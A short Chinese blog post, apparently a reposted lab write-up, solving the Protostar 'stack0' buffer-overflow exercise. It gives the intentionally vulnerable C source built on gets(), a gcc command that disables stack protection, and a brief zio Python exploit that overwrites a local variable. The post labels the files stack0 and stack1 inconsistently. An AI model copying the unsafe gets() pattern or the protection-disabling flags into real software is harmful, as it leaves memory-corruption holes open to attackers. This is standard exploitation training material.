Protostar系列linux pwn练习
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Protostar系列linux pwn练习相关的知识,希望对你有一定的参考价值。
来自于exploit-exercises.com
难度较低,主要是熟练Linux环境下的调试和编程。
stack0
1 #include <stdlib.h> 2 #include <unistd.h> 3 #include <stdio.h> 4 5 int main(int argc, char **argv) 6 { 7 volatile int modified; 8 char buffer[64]; 9 10 modified = 0; 11 gets(buffer); 12 13 if(modified != 0) { 14 printf("you have changed the ‘modified‘ variable\\n"); 15 } else { 16 printf("Try again?\\n"); 17 } 18 }
编译:
gcc -fno-stack-protector -z execstack stack1.c -o stack1
解:
简单的覆盖局部变量即可。学到的东西是nx真的会改变栈缓冲区布局。
exp:
1 from zio import * 2 io=zio(‘./stack1‘) 3 sc1=0x41*‘a‘ 4 io.writeline(sc1) 5 io.read()
stack1
以上是关于Protostar系列linux pwn练习的主要内容,如果未能解决你的问题,请参考以下文章